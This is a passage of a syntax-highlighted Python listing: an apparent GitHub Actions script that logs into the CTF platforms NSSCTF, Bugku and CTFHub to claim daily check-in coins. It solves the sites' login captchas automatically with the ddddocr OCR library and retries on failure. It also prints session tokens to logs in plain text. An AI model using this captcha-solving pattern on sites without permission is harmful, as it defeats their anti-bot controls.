class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br><span class="line">680</span><br><span class="line">681</span><br><span class="line">682</span><br><span class="line">683</span><br><span class="line">684</span><br><span class="line">685</span><br><span class="line">686</span><br><span class="line">687</span><br><span class="line">688</span><br><span class="line">689</span><br><span class="line">690</span><br><span class="line">691</span><br><span class="line">692</span><br><span class="line">693</span><br><span class="line">694</span><br><span class="line">695</span><br><span class="line">696</span><br><span class="line">697</span><br><span class="line">698</span><br><span class="line">699</span><br><span class="line">700</span><br><span class="line">701</span><br><span class="line">702</span><br><span class="line">703</span><br><span class="line">704</span><br><span class="line">705</span><br><span class="line">706</span><br><span class="line">707</span><br><span class="line">708</span><br><span class="line">709</span><br><span class="line">710</span><br><span class="line">711</span><br><span class="line">712</span><br><span class="line">713</span><br><span class="line">714</span><br><span class="line">715</span><br><span class="line">716</span><br><span class="line">717</span><br><span class="line">718</span><br><span class="line">719</span><br><span class="line">720</span><br><span class="line">721</span><br><span class="line">722</span><br><span class="line">723</span><br><span class="line">724</span><br><span class="line">725</span><br><span class="line">726</span><br><span class="line">727</span><br><span class="line">728</span><br><span class="line">729</span><br><span class="line">730</span><br><span class="line">731</span><br><span class="line">732</span><br><span class="line">733</span><br><span class="line">734</span><br><span class="line">735</span><br><span class="line">736</span><br><span class="line">737</span><br><span class="line">738</span><br><span class="line">739</span><br><span class="line">740</span><br><span class="line">741</span><br><span class="line">742</span><br><span class="line">743</span><br><span class="line">744</span><br><span class="line">745</span><br><span class="line">746</span><br><span class="line">747</span><br><span class="line">748</span><br><span class="line">749</span><br><span class="line">750</span><br><span class="line">751</span><br><span class="line">752</span><br><span class="line">753</span><br><span class="line">754</span><br><span class="line">755</span><br><span class="line">756</span><br><span class="line">757</span><br><span class="line">758</span><br><span class="line">759</span><br><span class="line">760</span><br><span class="line">761</span><br><span class="line">762</span><br><span class="line">763</span><br><span class="line">764</span><br><span class="line">765</span><br><span class="line">766</span><br><span class="line">767</span><br><span class="line">768</span><br><span class="line">769</span><br><span class="line">770</span><br><span class="line">771</span><br><span class="line">772</span><br><span class="line">773</span><br><span class="line">774</span><br><span class="line">775</span><br><span class="line">776</span><br><span class="line">777</span><br><span class="line">778</span><br><span class="line">779</span><br><span class="line">780</span><br><span class="line">781</span><br><span class="line">782</span><br><span class="line">783</span><br><span class="line">784</span><br><span class="line">785</span><br><span class="line">786</span><br><span class="line">787</span><br><span class="line">788</span><br><span class="line">789</span><br><span class="line">790</span><br><span class="line">791</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># @Time    : 2025/4/17 下午4:18</span></span><br><span class="line"><span class="comment"># @Author  : BR</span></span><br><span class="line"><span class="comment"># @File    : main.py</span></span><br><span class="line"><span class="comment"># @description: 自动签到脚本 (GitHub Actions 版)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> ddddocr</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">from</span> io <span class="keyword">import</span> BytesIO</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> DES</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.Padding <span class="keyword">import</span> pad</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> log</span><br><span class="line"><span class="keyword">from</span> config <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">md5_encrypt</span>(<span class="params">text: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    MD5加密</span></span><br><span class="line"><span class="string">    :param text: 待加密字符串</span></span><br><span class="line"><span class="string">    :return: 加密后字符串</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    md5 = hashlib.md5()</span><br><span class="line">    <span class="comment"># 将字符串转换为字节类型并更新到 MD5 对象中</span></span><br><span class="line">    md5.update(text.encode(<span class="string">&#x27;utf-8&#x27;</span>))</span><br><span class="line">    encrypted_text = md5.hexdigest()</span><br><span class="line">    <span class="keyword">return</span> encrypted_text</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">des_ecb_encrypt</span>(<span class="params">data: <span class="built_in">bytes</span>, key: <span class="built_in">bytes</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    DES ECB加密</span></span><br><span class="line"><span class="string">    :param data: 待加密字节串</span></span><br><span class="line"><span class="string">    :param key: 密钥字节串</span></span><br><span class="line"><span class="string">    :return: 加密后hex编码的字符串</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    cipher = DES.new(key, DES.MODE_ECB)</span><br><span class="line">    padded_data = pad(data, DES.block_size)</span><br><span class="line">    encrypted_data = cipher.encrypt(padded_data).<span class="built_in">hex</span>()</span><br><span class="line">    <span class="keyword">return</span> encrypted_data</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">base64_to_image</span>(<span class="params">base64_str: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    将base64字符串转换为图像字节串</span></span><br><span class="line"><span class="string">    :param base64_str: base64字符串</span></span><br><span class="line"><span class="string">    :return:</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    image_data = base64.b64decode(base64_str.split(<span class="string">&#x27;,&#x27;</span>)[<span class="number">1</span>])</span><br><span class="line"></span><br><span class="line">    image = Image.<span class="built_in">open</span>(BytesIO(image_data))</span><br><span class="line">    image = image.convert(<span class="string">&#x27;L&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    img_byte_arr = BytesIO()</span><br><span class="line">    image.save(img_byte_arr, <span class="built_in">format</span>=<span class="string">&#x27;PNG&#x27;</span>)</span><br><span class="line">    img_byte_arr = img_byte_arr.getvalue()</span><br><span class="line">    <span class="keyword">return</span> img_byte_arr</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">img_to_code</span>(<span class="params">img: <span class="built_in">bytes</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    使用ddddocr识别图片验证码</span></span><br><span class="line"><span class="string">    :param img:</span></span><br><span class="line"><span class="string">    :return:</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    ocr = ddddocr.DdddOcr(show_ad=<span class="literal">False</span>)</span><br><span class="line">    ocr.set_ranges(<span class="number">6</span>)</span><br><span class="line">    code = ocr.classification(img)</span><br><span class="line">    <span class="keyword">return</span> code</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">NSSCTF</span>:</span><br><span class="line">    <span class="comment"># NSSCTF平台</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">login</span>(<span class="params">self, username: <span class="built_in">str</span>, password: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        NSSCTF登录</span></span><br><span class="line"><span class="string">        :param username: 用户名</span></span><br><span class="line"><span class="string">        :param password: 密码</span></span><br><span class="line"><span class="string">        :return: Token</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> username <span class="keyword">or</span> <span class="keyword">not</span> password:</span><br><span class="line">            log.error(<span class="string">&quot;NSSCTF: 账户或密码不能为空&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">        url = <span class="string">&quot;https://www.nssctf.cn/api/user/login/&quot;</span></span><br><span class="line"></span><br><span class="line">        post_data = &#123;</span><br><span class="line">            <span class="string">&quot;username&quot;</span>: username,</span><br><span class="line">            <span class="string">&quot;password&quot;</span>: password</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 登录请求</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            res = requests.post(url, json=post_data)</span><br><span class="line">            log.debug(<span class="string">f&quot;NSSCTF: 登录完成，响应：<span class="subst">&#123;res.text&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">            log.error(<span class="string">f&quot;NSSCTF: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># 结果处理</span></span><br><span class="line">        code = res.json()[<span class="string">&quot;code&quot;</span>]</span><br><span class="line">        <span class="keyword">if</span> code == <span class="number">200</span>:</span><br><span class="line">            token = res.json()[<span class="string">&quot;data&quot;</span>][<span class="string">&quot;token&quot;</span>]</span><br><span class="line">            log.info(<span class="string">f&quot;NSSCTF: 登录成功！Token：<span class="subst">&#123;token&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> token</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">if</span> code == <span class="number">201</span>:</span><br><span class="line">                log.error(<span class="string">&quot;NSSCTF: 登录失败！账户或密码错误！&quot;</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                log.error(<span class="string">f&quot;NSSCTF: 登录失败！错误码：<span class="subst">&#123;code&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">sign_in</span>(<span class="params">self, token: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bool</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        NSSCTF签到</span></span><br><span class="line"><span class="string">        :param token: Token</span></span><br><span class="line"><span class="string">        :return: 是否签到成功</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">if</span> token == <span class="string">&quot;&quot;</span>:</span><br><span class="line">            log.error(<span class="string">&quot;NSSCTF: Token不能为空&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">        url = <span class="string">&quot;https://www.nssctf.cn/&quot;</span></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;Cookie&quot;</span>: <span class="string">f&quot;token=<span class="subst">&#123;token&#125;</span>&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        requests.get(url, headers=headers)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 后续状态</span></span><br><span class="line">        res = <span class="variable language_">self</span>.get_person_information(token)</span><br><span class="line">        <span class="keyword">if</span> res[<span class="string">&quot;code&quot;</span>] != <span class="number">200</span>:</span><br><span class="line">            log.error(<span class="string">&quot;NSSCTF: 未登录，签到失败！&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">        coin = res[<span class="string">&quot;data&quot;</span>][<span class="string">&quot;coin&quot;</span>]</span><br><span class="line">        log.info(<span class="string">f&quot;NSSCTF: 今日已签到，金币余额: <span class="subst">&#123;coin&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_person_information</span>(<span class="params">self, token: <span class="built_in">str</span></span>) -&gt; <span class="built_in">dict</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        获取个人信息</span></span><br><span class="line"><span class="string">        :param token: Token</span></span><br><span class="line"><span class="string">        :return: 个人信息</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        url = <span class="string">&quot;https://www.nssctf.cn/api/user/info/opt/setting/&quot;</span></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;Cookie&quot;</span>: <span class="string">f&quot;token=<span class="subst">&#123;token&#125;</span>&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 发送请求</span></span><br><span class="line">        res = requests.get(url, headers=headers)</span><br><span class="line">        log.debug(<span class="string">f&quot;NSSCTF: 获取个人信息完成，响应：<span class="subst">&#123;res.text&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 结果处理</span></span><br><span class="line">        code = res.json()[<span class="string">&quot;code&quot;</span>]</span><br><span class="line">        <span class="keyword">if</span> code == <span class="number">200</span>:</span><br><span class="line">            log.info(<span class="string">f&quot;NSSCTF: 获取个人信息成功！&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">if</span> code == <span class="number">402</span>:</span><br><span class="line">                log.error(<span class="string">&quot;NSSCTF: 获取个人信息失败！无效的Token&quot;</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                log.error(<span class="string">f&quot;NSSCTF: 获取个人信息失败！错误码: <span class="subst">&#123;code&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> res.json()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Bugku</span>:</span><br><span class="line">    <span class="comment"># Bugku平台</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">login</span>(<span class="params">self, username: <span class="built_in">str</span>, password: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        Bugku登录</span></span><br><span class="line"><span class="string">        :param username: 用户名</span></span><br><span class="line"><span class="string">        :param password: 密码</span></span><br><span class="line"><span class="string">        :return: PHPSESSID</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> username <span class="keyword">or</span> <span class="keyword">not</span> password:</span><br><span class="line">            log.error(<span class="string">&quot;Bugku: 账户或密码不能为空&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">        url = <span class="string">&quot;https://ctf.bugku.com/login/check.html&quot;</span></span><br><span class="line"></span><br><span class="line">        flag = <span class="number">0</span></span><br><span class="line">        r_session = requests.session()</span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span> flag &lt; retry_limit:</span><br><span class="line">            flag += <span class="number">1</span></span><br><span class="line">            post_data = &#123;</span><br><span class="line">                <span class="string">&quot;username&quot;</span>: username,</span><br><span class="line">                <span class="string">&quot;password&quot;</span>: password,</span><br><span class="line">                <span class="string">&quot;vcode&quot;</span>: <span class="variable language_">self</span>.classification(r_session),</span><br><span class="line">                <span class="string">&quot;autologin&quot;</span>: <span class="string">&quot;0&quot;</span></span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            headers = &#123;</span><br><span class="line">                <span class="string">&quot;X-Requested-With&quot;</span>: <span class="string">&quot;XMLHttpRequest&quot;</span></span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                res = r_session.post(url, headers=headers, data=post_data)</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">                log.error(<span class="string">f&quot;Bugku: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">            log.debug(<span class="string">f&quot;Bugku: 登录返回结果：<span class="subst">&#123;res.text&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> res.json()[<span class="string">&quot;code&quot;</span>] == <span class="number">1</span>:</span><br><span class="line">                PHPSESSID = r_session.cookies.get(<span class="string">&#x27;PHPSESSID&#x27;</span>)</span><br><span class="line">                log.info(<span class="string">f&quot;Bugku: 【第<span class="subst">&#123;flag&#125;</span>次尝试】登录成功，PHPSESSID: <span class="subst">&#123;PHPSESSID&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> PHPSESSID</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                msg = res.json()[<span class="string">&#x27;msg&#x27;</span>]</span><br><span class="line">                log.error(<span class="string">f&quot;Bugku: 【第<span class="subst">&#123;flag&#125;</span>次尝试】登录失败！<span class="subst">&#123;msg&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">if</span> <span class="string">&quot;验证码&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> msg:</span><br><span class="line">                    <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">        log.error(<span class="string">&quot;Bugku: 超过最大尝试上限，登录失败！&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">classification</span>(<span class="params">self, r_session: requests.Session = <span class="literal">None</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        获取并识别验证码</span></span><br><span class="line"><span class="string">        :param r_session:</span></span><br><span class="line"><span class="string">        :return: 识别的验证码</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">if</span> r_session <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">            r_session = requests.session()</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 获取验证码</span></span><br><span class="line">        url_captcha = <span class="string">&quot;https://ctf.bugku.com/captcha.html&quot;</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            res = r_session.get(url_captcha)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">            log.error(<span class="string">f&quot;Bugku: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># 验证码识别</span></span><br><span class="line">        code = img_to_code(res.content)</span><br><span class="line">        log.debug(<span class="string">f&quot;bugku: 识别登录验证码: <span class="subst">&#123;code&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> code</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">sign_in</span>(<span class="params">self, PHPSESSID: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bool</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        Bugku签到</span></span><br><span class="line"><span class="string">        :param PHPSESSID: </span></span><br><span class="line"><span class="string">        :return: 是否签到成功</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">        url = <span class="string">&quot;https://ctf.bugku.com/user/checkin&quot;</span></span><br><span class="line"></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;X-Requested-With&quot;</span>: <span class="string">&quot;XMLHttpRequest&quot;</span>,</span><br><span class="line">            <span class="string">&quot;Cookie&quot;</span>: <span class="string">f&quot;PHPSESSID=<span class="subst">&#123;PHPSESSID&#125;</span>;&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        start_coin = <span class="variable language_">self</span>.get_coin(PHPSESSID)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            res = requests.get(url, headers=headers)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">            log.error(<span class="string">f&quot;Bugku: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">        final_coin = <span class="variable language_">self</span>.get_coin(PHPSESSID)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> res.json()[<span class="string">&quot;code&quot;</span>] == <span class="number">1</span>:</span><br><span class="line">            log.info(<span class="string">f&quot;Bugku: 签到成功！金币余额: <span class="subst">&#123;start_coin&#125;</span>-&gt;<span class="subst">&#123;final_coin&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;签到过&quot;</span> <span class="keyword">in</span> res.json()[<span class="string">&#x27;msg&#x27;</span>]:</span><br><span class="line">                log.info(<span class="string">f&quot;Bugku: 今日已签到，金币余额: <span class="subst">&#123;final_coin&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                log.error(<span class="string">f&quot;Bugku: 签到失败！原因：<span class="subst">&#123;res.json()[<span class="string">&#x27;msg&#x27;</span>]&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_coin</span>(<span class="params">self, PHPSESSID: <span class="built_in">str</span></span>) -&gt; <span class="built_in">int</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        获取当前金币数</span></span><br><span class="line"><span class="string">        :param PHPSESSID:</span></span><br><span class="line"><span class="string">        :return: 当前金币余额</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        url = <span class="string">&quot;https://ctf.bugku.com/user/recharge.html&quot;</span></span><br><span class="line">        headers = &#123;</span><br><span class="line">            <span class="string">&quot;Cookie&quot;</span>: <span class="string">f&quot;PHPSESSID=<span class="subst">&#123;PHPSESSID&#125;</span>;&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            res = requests.get(url, headers=headers)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">            log.error(<span class="string">f&quot;Bugku: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># log.debug(f&quot;Bugku: 获取数据: &#123;res.text&#125;&quot;)</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            soup = BeautifulSoup(res.text, <span class="string">&quot;html.parser&quot;</span>)</span><br><span class="line">            coin = <span class="built_in">int</span>(soup.find(<span class="string">&quot;span&quot;</span>, class_=<span class="string">&quot;alert-link text-warning&quot;</span>).text)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            log.error(<span class="string">f&quot;Bugku: 数据处理失败: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> coin</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">CTFHub</span>:</span><br><span class="line">    <span class="comment"># CTFHub平台</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">login</span>(<span class="params">self, username: <span class="built_in">str</span>, password: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        CTFHub登录</span></span><br><span class="line"><span class="string">        :param username: 用户名</span></span><br><span class="line"><span class="string">        :param password: 密码</span></span><br><span class="line"><span class="string">        :return:</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> username <span class="keyword">or</span> <span class="keyword">not</span> password:</span><br><span class="line">            log.error(<span class="string">&quot;CTFHub: 账户或密码不能为空&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">        cookie = <span class="variable language_">self</span>.get_base_cookie()</span><br><span class="line"></span><br><span class="line">        url = <span class="string">&quot;https://api.ctfhub.com/User_API/User/Login&quot;</span></span><br><span class="line"></span><br><span class="line">        flag = <span class="number">0</span>  <span class="comment"># 重试次数</span></span><br><span class="line">        <span class="keyword">while</span> flag &lt; retry_limit:</span><br><span class="line">            flag += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">            headers = &#123;</span><br><span class="line">                <span class="string">&quot;Authorization&quot;</span>: <span class="string">&quot;ctfhub_sessid=&quot;</span>+cookie</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            post_json = &#123;</span><br><span class="line">                <span class="string">&quot;account&quot;</span>: username,</span><br><span class="line">                <span class="string">&quot;captcha&quot;</span>: <span class="variable language_">self</span>.classification(cookie),</span><br><span class="line">                <span class="string">&quot;password&quot;</span>: md5_encrypt(password)</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                res = requests.post(url, headers=headers, json=post_json).json()</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">                log.error(<span class="string">f&quot;CTFHub: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> res.get(<span class="string">&quot;status&quot;</span>, <span class="literal">False</span>):</span><br><span class="line">                log.info(<span class="string">f&quot;CTFHub: 【第<span class="subst">&#123;flag&#125;</span>次尝试】登录成功，Cookie: <span class="subst">&#123;cookie&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> cookie</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                log.error(<span class="string">f&quot;CTFHub: 【第<span class="subst">&#123;flag&#125;</span>次尝试】登录失败，原因：<span class="subst">&#123;res.get(<span class="string">&#x27;msg&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">        log.error(<span class="string">&quot;CTFHub: 登录失败，超过最大重试次数！&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_base_cookie</span>(<span class="params">self</span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        获取基础cookie</span></span><br><span class="line"><span class="string">        :return: cookie</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        url = <span class="string">&quot;https://api.ctfhub.com/User_API/Other/getCookie&quot;</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            res = requests.get(url).json()</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> err:</span><br><span class="line">            log.error(<span class="string">f&quot;CTFHub: 网络链接出错：<span class="subst">&#123;err&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> res.get(<span class="string">&quot;status&quot;</span>, <span class="literal">False</span>):</span><br><span class="line">            cookie = res.get(<span class="string">&quot;data&quot;</span>).get(<span class="string">&quot;cookie&quot;</span>).replace(<span class="string">&quot;ctfhub_sessid=&quot;</span>,<span class="string">&quot;&quot;</span>)</span><br><span class="line">            log.info(<span class="string">f&quot;CTFHub: 